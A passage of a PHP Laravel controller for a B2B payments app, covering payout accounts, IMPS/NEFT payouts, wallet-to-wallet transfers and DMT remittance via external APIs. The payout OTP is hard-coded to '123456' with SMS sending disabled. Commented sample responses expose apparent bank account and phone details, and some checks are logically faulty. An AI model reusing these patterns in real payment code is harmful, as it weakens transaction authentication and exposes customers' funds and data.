                $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$TxnDetails->txnid??$tempTxnid]);
                $this->creditEntry($uid,'QT-REFUND',$TxnDetails->txnid??$tempTxnid,$amount+$charge);
                $recentTxn = DB::table('qtransfertxn')->where('uid',$uid)->limit(5)->get();
                return response()->json(['status'=>'ERROR','data'=>['recentQtTxn'=>$recentTxn],'message'=>$TxnDetails->msg??$response->msg],406);
        }
        
    }
    #payout 
    public function getPayoutAccounts(Request $res)
    {
        $user = $res->user();
        $uid = $user->id;
        $accounts = DB::table('payoutaccount')->where('uid',$uid)->get();
        if(count($accounts) == 0)
        return response()->json(['status'=>'SUCCESS','message'=>'No accounts found!!','data'=>['payoutAccounts'=>[]],'error'=>false]);
        return response()->json(['status'=>'SUCCESS','message'=>'Accounts Fetched successfully','data'=>['payoutAccounts'=>$accounts],'error'=>false]);
    }
    public function addPayoutAccount(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'name' => 'required|string',
            'account' => 'required|numeric|digits_between:10,15',
            'ifsc' => 'required|string|min:10',
            'passbook' => 'required|image|mimes:jpeg,png,jpg,gif|max:2048',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		#check for account 
		$uid = $res->uid;
        $account = $res->account;
        $check = DB::table('payoutaccount')->where('account',$account)->count();
        if($check > 0)
        return response()->json(['status'=>'ERROR','message'=>'Account already added!!','error'=>false],208);
        if ($res->hasFile('passbook')) {
                $image = $res->file('passbook');
                $imageName = 'payout'.time() . '.' . $image->getClientOriginalExtension();
                $image->storeAs('images', $imageName, 'public');
                $imagePath = Storage::disk('public')->path('images/' . $imageName);
                $imagePath = str_replace('/www/wwwroot/','https://',$imagePath);
            }
            $name = $res->name;
            $ifsc = $res->ifsc;
        $data = array(
            "uid" => $uid,
            "name" => $name,
            "account" => $account,
            "ifsc" => $ifsc,
            "passbook" => $imagePath,
            "status" => 'PENDING',
            );
        $res = $this->insertdata('payoutaccount',$data);
        if($res != true)
        return response()->json(['status'=>'ERROR','message'=>'Unknown error occured!','error'=>false],500);
        $accounts = DB::table('payoutaccount')->where('uid',$uid)->get();
        return response()->json(['status'=>'SUCCESS','message'=>'Account added successfully!! Please wait untill admin approve your account!!','data'=>['payoutAccounts'=>$accounts],'error'=>false],200);
    }
    public function deletePayoutAccount(Request $res)
    {
        $id = $res->id;
        $getRow = DB::table('payoutaccount')->where('id',$id)->first();
        if($getRow == "" || $getRow == null)
        return response()->json(['status'=>'ERROR','message'=>'Invaid id!!','error'=>false],404);
        $uid = $res->uid;
        if($getRow->uid != $uid)
        return response()->json(['status'=>'ERROR','message'=>'You dont have the previlege to delete this account!','error'=>false],401);
        #time to delete existing image
        $imageUrl = $getRow->passbook;
        $filename = basename($imageUrl);
        $filePath = '/storage/images/' . $filename;
        if (Storage::disk('public')->exists($filePath))
        Storage::disk('public')->delete($filePath);
        $res = DB::table('payoutaccount')->where('id',$id)->delete();
        if($res)
        return response()->json(['status'=>'SUCCESS','message'=>'Account deleted successfully!! Please refresh to see latest data','error'=>false],200);
        return response()->json(['status'=>'ERROR','Database error','error'=>false],500);
    }
    public function payoutInitiateTransaction(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'mode' => ['required',
            Rule::in(['IMPS', 'NEFT']),
            ],
            'mobile' => 'required|numeric|digits:10',
            'bid' => 'required|numeric|gt:0|exists:payoutaccount,id',
            'amount' => 'required|numeric|gt:0',
            ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
        $check = $this->checkservice('payout',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $bid = $res->bid;
        $mode = $res->mode;
        $amount = $res->amount;
        $mobile = $res->mobile;
        #check account is approved or not
        $accCheck = DB::table('payoutaccount')->where('id',$bid)->first()->status;
        if($accCheck != 'APPROVED')
        return response()->json(['status'=>'ERROR','message'=>'The account you are using is not approved','error'=>false],412);
        $wallet = $this->checkwallet($uid);
        if($wallet < $amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $user = $res->user();
        $table = $mode == 'IMPS'?'payoutchargeimps':'payoutchargeneft';
        $charge = $this->checkcharge($amount,$table,$user->package);
        if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],422);
        if($wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);
         $maxlimit = $this->checkmaxlimit($table,$user->package);
        if($maxlimit != true)
        return response()->json(['status'=>'ERROR','message'=>'Unable to get your maximum Transaction limit please contact to admin!!','error'=>false],422);
        if($amount > $maxlimit)
        return response()->json(['status'=>'ERROR','message'=>'Your maximum transaction limit is '.$maxlimit,'error'=>false],422);
        if($this->txnvia() == 'otp')
        { 
            $otp = rand(100000,999999);
            $otp = '123456';
            
            $sms_api = DB::table('settings')->where('name','sms_api')->first()->value;
            $senderid = "ECZSPL";
            $message = "Welcome To B2B Software Dear " . $user->name . " Your OTP For Amount " . $amount . " Is " . $otp . "	";
            $link = "https://india1sms.com/api/smsg/sendsms?APIKey=".urlencode($sms_api)."&senderid=".urlencode($senderid)."&number=".urlencode($user->phone)."&message=".urlencode($message)."";
            // $res = $this->callApi($link,'POST','','');
            // $res = json_decode($res);
            // if($res->status != 'SUCCESS')
            // return response()->json(['status'=>$res->status,'message'=>$res->message]);
            $message = 'OTP send to your register mobile number';
        }
        else
        {
            $otp = $user->pin;
            $message = 'Please enter your PIN to do the transaction';
        }
        $txnKey = uniqid();
        $insertData = array(
            'phone' => $mobile,
            'data' => json_encode(['bid'=>$bid,'amount'=>$amount]),
            'otp' => $otp,
            'mode' => $mode,
            'txn_key' => $txnKey,
            'otp_type' => $this->txnvia()
            );
        DB::table('payout_otp')->insert($insertData);
        return response()->json(['status'=>'SUCCESS','message'=>$message,'error'=>false,'txn_key'=>$txnKey,'mode'=>$this->txnvia()]);
    }
    public function payoutDoTransaction(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'otp' => 'required|numeric',
            'txn_key' => 'required|string|exists:payout_otp,txn_key',
        ]);
        if ($validator->fails()) {
		    return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$txnKey = $res->txn_key;
		$getTxnRow = DB::table('payout_otp')->where('txn_key',$txnKey)->first();
        $otp = $res->otp;
        if($getTxnRow->otp != $otp)
        return response()->json(['status'=>'ERROR','message'=>'Invalid '.strtoupper($getTxnRow->otp_type)],400);
        $user = $res->user();
        $uid = $user->id;
        $txnData = json_decode($getTxnRow->data);
        $amount = $txnData->amount;
        $bid = $txnData->bid;
        $phone = $getTxnRow->phone;
        $mode = $getTxnRow->mode;
        $wallet = $this->checkwallet($uid);
        if($wallet < $amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $check = $this->checkservice('payout',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $table = $mode == 'IMPS'?'payoutchargeimps':'payoutchargeneft';
        $charge = $this->checkcharge($amount,$table,$user->package);
        if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],422);
        if($wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);
         $maxlimit = $this->checkmaxlimit($table,$user->package);
        if($maxlimit != true)
        return response()->json(['status'=>'ERROR','message'=>'Unable to get your maximum Transaction limit please contact to admin!!','error'=>false],422);
        if($amount > $maxlimit)
        return response()->json(['status'=>'ERROR','message'=>'Your maximum transaction limit is '.$maxlimit,'error'=>false],422);
        $accountDetails = DB::table('payoutaccount')->where('id',$bid)->first();
        if($accountDetails == "" || $accountDetails == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid account details'],403);
        $account = $accountDetails->account;
        $ifsc = $accountDetails->ifsc;
        $name = $accountDetails->name;
         #Before transaction do entry
        $tempTxnid = 'PYOT'.rand(1000000000,9999999999);
        $insdata = array(
            'uid' => $uid,
            'txnid' => $tempTxnid,
            'account' => $account,
            'ifsc' => $ifsc,
            'bname' => $name,
            'amount' =>$amount,
            'status' => 'PENDING',
            'message' => 'NA',
            'response' => 'NA',
            'rrn' => 'NA',
            'mode' => $mode,
        );
        $this->insertdata('payouttxn',$insdata);
        $this->debitEntry($uid,'Payout',$tempTxnid,$amount);
        $this->debitEntry($uid,'Payout-charge',$tempTxnid,$charge);
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $hashn = $account.",".$ifsc.",".$mode.",".$amount.",".$api_key;
	    $hash = hash('sha512',$hashn);
        $sendingdata = [
            "api_key" => $api_key,
            "account_no" => $account,
            "ifsc" => $ifsc,
            "name" => $name,
            "mode" => $mode,
            "amount" => $amount,
            "hash" => $hash,
            "txnid" => $tempTxnid
            ];
        DB::table('payout_otp')->where('txn_key',$txnKey)->delete();
        $sendingdata = json_encode($sendingdata);
        $url = "https://partner.ecuzen.in/new/api/payout/dopayout";
        $response = $this->callApi($url,'POST',$sendingdata,[]);
       /* $response = '{"status":"SUCCESS","txnid":"PYOT686062722598898","amount":1,"rrn":"315812798064","msg":"Transaction SUCCESS","account":"555710510003414","ifsc":"BKID0005557","name":"Manas","mode":"IMPS"}';*/
        $response = json_decode($response,true);
        $status =  $response['status'];
        if($status=="SUCCESS" || $status=="success" || $status=="PENDING" || $status=="IN_PROCESS" || $status == "accepted" || $status == "ACCEPTED")
        {
            $insdata = array(
                'uid' => $uid,
                'txnid' => $response['txnid'],
                'account' => $response['account'],
                'ifsc' => $response['ifsc'],
                'bname' => $response['name'],
                'amount' =>$response['amount'],
                'status' => $status,
                'message' => $response['msg'],
                'response' => json_encode($response),
                'rrn' => $response['rrn'],
                'mode' => $response['mode'],
                );
            $this->updateData('payouttxn','txnid',$tempTxnid,$insdata);
            $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$response['txnid']]);
            $this->distributeCommission($uid,'PYT-Commission',$table,$amount,$response['txnid']);
            #check for existance account
            $data = array(
                'date' => Carbon::now()->format('Y-m-d H:i:s'),
                'name' => $name,
                'txnid' => $response['txnid'],
                'account' => $account,
                'ifsc' => $ifsc,
                'status' => $status,
                'item1' => 'Payout',
                'item2' => 'Payout Charge',
                'amount1' => (double)$amount,
                'amount2' => (double)$charge,
                'total' => (double)$amount+$charge,
                'support' => DB::table('settings')->where('name','cemail')->first()->value,
                'mode' => $response['mode'],
                'rrn' => $response['rrn'],
                );
            return response()->json(['status'=>'SUCCESS','data'=>['payoutData'=>$data],'message'=>'Transaction Successfull','closing'=>round($wallet - $amount+$charge,2)],200);
        }
        else
        {
            $insdata = array(
                'uid' => $uid,
                'txnid' => $response['txnid']??$tempTxnid,
                'account' => $account,
                'ifsc' => $ifsc,
                'bname' => $name,
                'amount' =>$amount,
                'status' => $status,
                'message' => $response['msg'],
                'response' => json_encode($response),
                'rrn' => isset($response['rrn']) ? $response['rrn'] : "NA",
                'mode' => isset($response['mode']) ? $response['mode'] : "NA",
                );
            // $this->insertdata('payouttxn',$insdata);
            $this->updateData('payouttxn','txnid',$tempTxnid,$insdata);
            $this->updateData('wallet','txnid',$tempTxnid,['txnid'=>$response['txnid']??$tempTxnid]);
            $this->creditEntry($uid,'PAYOUT-REFUND',$response['txnid']??$tempTxnid,$amount+$charge);
            return response()->json(['status'=>'ERROR','message'=>$response['msg']],406);
            
        }
    }
    #wallet to wallet
    public function fetchUserByNumber(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'phone' => 'required|numeric|digits:10',
        ]);
        if ($validator->fails()) {
		    return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
		$mobile = $res->phone;
		$self = User::find($uid);
        if($self->phone == $mobile)
        return response()->json(['status'=>'ERROR','message'=>'Cant send money to your self!!','error'=>false],412);
        $checkUser = User::where('phone',$mobile)->first();
        if($checkUser == "" || $checkUser == null)
        return response()->json(['status'=>'ERROR','message'=>'User not associated with this number','error'=>false],422);
        $returnData = array(
            'username' => $checkUser->username,
            'name' => $checkUser->name,
            );
        return response()->json(['status'=>'SUCCESS','message'=>'User found successfully!!','data'=>['WalletFetchUser'=>$returnData],'error'=>false]);
    }
    public function walletTowalletDoTransactions(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'phone' => 'required|numeric|digits:10',
            'amount' => 'required|numeric|gt:0',
        ]);
        if ($validator->fails()) {
		    return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$mobile = $res->phone;
        $amount = $res->amount;
        $user = $res->user();
        $uid = $user->id;
        /*$check = $this->checkservice('walletTowallet',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $charge = $this->checkcharge($amount,'qtransfer',$user->package);
        if($charge != true)
        return response()->json(['status'=>'INFO','message'=>'Charges are not set for you please contact to admin!','error'=>false],422);
        if($user->wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);*/
        if($amount > $user->wallet)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet','error'=>false],402);
        if($mobile == $user->phone)
        return response()->json(['status'=>'ERROR','message'=>'Cant send money to your self!!','error'=>false],412);
        $receiverUser = User::where('phone',$mobile)->first();
        if($receiverUser == "" || $receiverUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Receiver user not found','error'=>false],412);
        $txnid = "WTW".rand(100000,999999)."ECZ".rand(100,999);
        $insertdata = array(
            'sender' => $user->id,
            'receiver' => $receiverUser->id,
            'txnid' => $txnid,
            'amount' => $amount,
            'type' => 'DEBIT'
            );
        DB::table('wallet_to_wallet')->insert($insertdata);
        $this->creditEntry($receiverUser->id,'WALLET-TRANSFER',$txnid,$amount);
        $this->debitEntry($uid,'WALLET-TRANSFER',$txnid,$amount);
        // $this->debitEntry($uid,'WALLET-TRANSFER-CHARGE',$txnid,$charge);
        $data = array(
            'date' => Carbon::now()->format('Y-m-d H:i:s'),
            'senderName' => $user->name,
            'senderMobile' => $user->phone,
            'receiverName' => $receiverUser->name,
            'receiverMobile' => $receiverUser->phone,
            'txnid' => $txnid,
            'amount' => $amount,
            'status' => 'SUCCESS',
            'support' => DB::table('settings')->where('name','cemail')->first()->value,
            );
        $latestTxns = DB::table('wallet_to_wallet')->where('sender',$uid)->orWhere('receiver',$uid)->orderBy('id', 'desc')->limit(5)->get();
        $txns = array();
        foreach ($latestTxns as $txn)
        {
            if($txn->receiver == $uid)
            $type = 'CREDIT';
            else
            $type = 'DEBIT';
            $sender = User::select('name','phone')->where('id',$txn->sender)->first();
            $receiver = User::select('name','phone')->where('id',$txn->receiver)->first();
            $txnData = array(
                'senderName' => $sender->name,
                'senderPhone' => $sender->phone,
                'receiverName' => $receiver->name,
                'receiverphone' => $receiver->phone,
                'type' => $type,
                'txnid' => $txn->txnid,
                'amount' => $txn->amount,
                'date' => $txn->date,
                );
            $txns[] = $txnData;
        }
        return response()->json(['status'=>'SUCCESS','message'=>'Transaction successfull','data'=>['walletToWalletData'=>$data,'walletToWalletRecentTxn'=>$txns],'error'=>false],200);
    }
    
    
     public function dmtLogin(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'phone' => 'required|numeric|digits:10',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$phone = $res->phone;
		$uid = $res->uid;
		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        
        
        $url = "https://xapi.ecuzen.in/api/dmt/remitter_details";
       
        $sendingdata = ["mobile" => $phone];
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
      /* $response = '{"status":"SUCCESS","msg":"Kindly register the remitter. OTP has been sent to the remitter mobile number.","info":{"mobile":"9461915406","stateresp":"484357236","ekyc_id":"2636881"},"otp":0}';*/
      
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $txnKey = uniqid();
            if(!empty($response->info))
            {
                if(isset($response->otp)){
                    $info = $response->info;
                    $data = [
                        'ekyc_id'=>$info->ekyc_id
                        ];
                    $checkAlreadyLogin = DB::table('app_dmt')->where('phone',$phone)->count();
                    if($checkAlreadyLogin != 1)
                    DB::table('app_dmt')->insert(['phone'=>$phone,'txn_key'=>$txnKey,'reg_key'=>$info->stateresp,'txn_data' => json_encode($data)]);
                    else
                    DB::table('app_dmt')->where('phone',$phone)->update(['txn_key'=>$txnKey,'reg_key'=>$info->stateresp,'txn_data' => json_encode($data)]);
                    return response()->json(['status'=>'SUCCESS','activity'=>'register','message'=>$response->msg,'dmtKey'=>$txnKey]);
                }else{
                    #check already Login
                    $checkAlreadyLogin = DB::table('app_dmt')->where('phone',$phone)->count();
                    if($checkAlreadyLogin != 1)
                    DB::table('app_dmt')->insert(['phone'=>$phone,'txn_key'=>$txnKey]);
                    else
                    DB::table('app_dmt')->where('phone',$phone)->update(['txn_key'=>$txnKey]);
                    
                    $limit1 = $response->info->limit??'0';
                    $dmtProfileData = array(
                        'remainingLimit'=>$limit1,
                        'mobile' => $response->info->mobile,
                        );
                    return response()->json(['status'=>'SUCCESS','activity'=>'dashboard','message'=>$response->msg,'dmtKey'=>$txnKey,'data'=>['dmtProfileData'=>$dmtProfileData]]);
                }
            }elseif($response->kyc == 0){
                $checkAlreadyLogin = DB::table('app_dmt')->where('phone',$phone)->count();
                if($checkAlreadyLogin != 1)
                DB::table('app_dmt')->insert(['phone'=>$phone,'txn_key'=>$txnKey]);
                else
                DB::table('app_dmt')->where('phone',$phone)->update(['txn_key'=>$txnKey]);
                return response()->json(['status'=>'SUCCESS','activity'=>'kyc','message'=>$response->msg,'dmtKey'=>$txnKey]);
            }else{
                return response()->json(['status'=>$response->status,'message'=>$response->msg,'error'=>false],400);
            }
        }
        else 
        {
            return response()->json(['status'=>$response->status,'message'=>$response->msg,'error'=>false],400);
        }
    }
    public function dmtkyc(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'mobile' => 'required|numeric|digits:10',
            'lat' => 'required',
            'log' => 'required',
            'aadhar' => 'required|numeric|digits:12',
            'newFingerData' => 'required',
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
        ]);
        if ($validator->fails()) {
       			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
       		}
       		$uid = $res->uid;
       		$dmtKey = $res->dmtKey;
       		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #get user dmt data 
        $getDmtUser = DB::table('app_dmt')->where('txn_key',$res->dmtKey)->first();
        if($getDmtUser == "" || $getDmtUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid dmt key','error'=>false],403);
        
       
         $url = "https://xapi.ecuzen.in/api/dmt/remitter_kyc";
        $sendingdata = [
            "mobile" => $getDmtUser->phone,
            'lat' => $res->lat,
            "long" => $res->log,
            "aadhaar_number" => $res->aadhar,
            "pid_data" => $res->newFingerData
        ];
        
        
       $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $info = $response->data;
            $data = [
                'ekyc_id' => $info->ekyc_id,
                ];
            DB::table('app_dmt')->where('txn_key',$dmtKey)->update(['reg_key'=>$info->stateresp,'txn_data' => json_encode($data)]);
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'error'=>false]);
        }
        else
        {
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],501);
        }
    }
    public function dmtRegister(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'fname' => 'required|string',
            'lname' => 'required|string',
            'otp' => 'required|numeric',
            'pincode' => 'required|numeric|digits:6',
            'address' => 'required|string',
            'dob' => 'required|date',
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		      $uid = $res->uid;
		      $check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #get user dmt data 
        $getDmtUser = DB::table('app_dmt')->where('txn_key',$res->dmtKey)->first();
        if($getDmtUser == "" || $getDmtUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid dmt key','error'=>false],403);
        
        $txndata = json_decode($getDmtUser->txn_data);
        $ekyc_id = $txndata->ekyc_id;
       
        $url = "https://xapi.ecuzen.in/api/dmt/register";
        $sendingdata = [
            "mobile" => $getDmtUser->phone,
            "stateresp" => $getDmtUser->reg_key,
            "ekyc_id" => $ekyc_id,
            "firstname" => $res->fname,
            "lastname" => $res->lname,
            "pincode" => $res->pincode,
            "otp" => $res->otp,
            "dob" => $res->dob,
            "address" => $res->address,
        ];
      
         $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'error'=>false]);
        }
        else
        {
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],501);
        }
    }
    
    public function dmtData(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
        ]);
        if ($validator->fails()) {
     			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
     		}
     		$uid = $res->uid;
     		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #get user dmt data 
        $getDmtUser = DB::table('app_dmt')->where('txn_key',$res->dmtKey)->first();
        if($getDmtUser == "" || $getDmtUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid dmt key','error'=>false],403);
        $phone = $getDmtUser->phone;
        
        
        $url = "https://xapi.ecuzen.in/api/dmt/fetchbene";
       
        $sendingdata = ["mobile" => $phone];
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        
        
        if($response->status == 'SUCCESS')
        return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data'=>['dmtData'=>$response->data],'error'=>false]);
        else
        return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],501);
    }
    public function dmtBankList()
    {
        $banklist = DB::table('dmtbanklist')->select('bid as id','bname as name')->orderBy('bname', 'asc')->get();
        return response()->json(['status'=>'SUCCESS','message'=>'DMT Bank list fetched successfully','data'=>['dmtBankList'=>$banklist]]);
    }
    public function dmtAddAccount(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'name' => 'required|string',
            'account' => 'required|numeric',
            'ifsc' => 'required|string',
            'bid' => 'required|numeric',
            'dob' => 'required|date|before:today',
            'pincode' => 'required|numeric|digits:6',
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #get user dmt data 
        $getDmtUser = DB::table('app_dmt')->where('txn_key',$res->dmtKey)->first();
        if($getDmtUser == "" || $getDmtUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid dmt key','error'=>false],403);
        $phone = $getDmtUser->phone;
       
       $url = "https://xapi.ecuzen.in/api/dmt/regben";
        $sendingdata =array(
            "mobile" =>$phone,
            "benename" =>$res->name,
            "bankid" =>$res->bid,
            "accno" =>$res->account,
            "pincode" =>$res->pincode,
            "dob" =>$res->dob,
            "ifsccode" => $res->ifsc,
            );
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'error' => false]);
        else
        return response()->json(['status'=>'ERROR','message'=>$response->msg,'error' => false],501);
    }
    public function dmtDeleteAccount(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
            'beneId' => 'required|numeric'
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #get user dmt data 
        $getDmtUser = DB::table('app_dmt')->where('txn_key',$res->dmtKey)->first();
        if($getDmtUser == "" || $getDmtUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid dmt key','error'=>false],403);
        $phone = $getDmtUser->phone;
      
         $url = "https://xapi.ecuzen.in/api/dmt/delbene";
         
        $sendingdata = [
            "mobile" => $phone,
            "bene_id" => $res->beneId,
        ];
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'error'=>false]);
        else
        return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],503);
    }
    public function dmtInitiateTransaction(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
            'beneId' => 'required|numeric',
            'mode' => 'required|string',
            'amount' => 'required|numeric|gt:0',
            'ifsc' => 'required|string',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$uid = $res->uid;
		$user = $res->user();
		$beneId = $res->beneId;
		$mode = $res->mode;
		$amount = $res->amount;
		$ifsc = $res->ifsc;
		$dmtKey = $res->dmtKey;
		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        #get user dmt data 
        $getDmtUser = DB::table('app_dmt')->where('txn_key',$dmtKey)->first();
        if($getDmtUser == "" || $getDmtUser == null)
        return response()->json(['status'=>'ERROR','message'=>'Invalid dmt key','error'=>false],403);
        $phone = $getDmtUser->phone;
        $wallet = $this->checkwallet($uid);
        if($wallet < $amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet please recharge your wallet!!','error'=>false],402);
        $charge = $this->checkcharge($amount,'dmtcharge',$user->package);
        if($charge != true)
        return response()->json(['status'=>'ERROR','message'=>'Charges are not set for you please contact to admin!','error'=>false],412);
        if($wallet < $charge+$amount)
        return response()->json(['status'=>'ERROR','message'=>'Insufficient fund in your wallet. You need '.$charge+$amount.' to do this transaction','error'=>false],402);
        $maxlimit = $this->checkmaxlimit('dmtcharge',$user->package);
        if($maxlimit != true)
        return response()->json(['status'=>'ERROR','message'=>'Unable to get your maximum Transaction limit please contact to admin!!','error'=>false],412);
        if($amount > $maxlimit)
        return response()->json(['status'=>'ERROR','message'=>'Your maximum transaction limit is '.$maxlimit,'error'=>false],412);
        
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $tempTxnid = 'DMT'.rand(1000000000,9999999999);
        
        $sendingdata = array(
            "mobile"=>$phone,
            "bene_id"=>$beneId,
            "amount"=>(double)$amount,
            "mode"=>$mode,
            "ref_key"=>$tempTxnid
            );
       
        $url = 'https://xapi.ecuzen.in/api/dmt/txn_sendotp';
      
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        
        if($response->status == 'SUCCESS')
        {
             $res = $response->data;
            $data = array(
            "amount" => $amount,
            'mode' => $mode,
            'bene_id' => $beneId,
            'ifsc' => $ifsc,
            'stateresp' => $res->stateresp,
            'txnid' => $tempTxnid
            );
          DB::table('app_dmt')->where('txn_key',$dmtKey)->update(['txn_data'=>json_encode($data)]);
          return response()->json(['status'=>'SUCCESS','message'=>$response->msg??'NA','error'=>false]);
        }else{
             return response()->json(['status'=>'FAILED','message'=>$response->msg],400);
        }
    }
    public function dmtDoTransactions(Request $res)
    {
        $validator = Validator::make($res->all(), [
            'dmtKey' => 'required|string|exists:app_dmt,txn_key',
            'otp' => 'required|numeric',
        ]);
        if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$otp = $res->otp;
		$getTxnRow = DB::table('app_dmt')->where('txn_key',$res->dmtKey)->first();
		$txnData = json_decode($getTxnRow->txn_data);
		$amount = $txnData->amount;
		$mode = $txnData->mode;
		$beneId = $txnData->bene_id;
		$stateresp = $txnData->stateresp;
		$ifsc = $txnData->ifsc;
		$tempTxnid = $txnData->txnid;
		$phone = $getTxnRow->phone;
		
		
		
		$user = $res->user();
		$uid = $user->id;
		$check = $this->checkservice('dmt',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
